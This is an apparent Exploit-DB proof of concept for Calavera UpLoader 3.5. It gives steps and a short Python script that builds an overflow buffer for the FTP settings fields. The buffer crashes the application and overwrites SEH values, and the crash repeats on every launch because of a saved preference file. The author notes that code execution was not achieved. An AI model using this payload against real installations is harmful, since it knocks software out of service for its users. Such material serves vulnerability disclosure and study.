# Exploit Title: Calavera UpLoader 3.5 - 'FTP Logi' Denial of Service (PoC + SEH Overwrite) # Date: 2020-07-20 # Author: Felipe Winsnes # Software Link: https://www.exploit-db.com/apps/463c9e7fe9a39888d3c01bc9ad756bba-UpSetup.exe # Version: 3.5 # Tested on: Windows 7 (x86) # Blog: https://whitecr0wz.github.io/ # Sadly enough, this vulnerability is not exploitable as there are no friendly PPR addresses available and # yet the vulnerability is triggered with additional padding == can't use addresses with null values. # Proof of Concept: # 1.- Run the python script, it will create a new file "poc.txt". # 2.- Copy the content of the new file 'poc.txt' to clipboard. # 3.- Open the Application. # 4.- Click on "Settings". # 4.- Paste contents of the generated file into the parameters "FTP Address", "Username" and Password". Furthermore, check the box with the statement "Check to save password in preferences". # 5.- Crashed. # 6.- As uploadpref.dat is generated, every time the application opens it will crash, with the SEH values being overwritten. In order to stop this behavior simply delete the file. # If the contents are only pasted into "Password", the application will only crash once without creating uploadpref.dat. buffer = "A" * 477 + "BBBB" + "CCCC" + "\xff" * 2000 try: f = open ("poc.txt", "w") f.write(buffer) f.close() print "[+] The file has been created successfully!" except: print "[!] There has been an error while creating the file."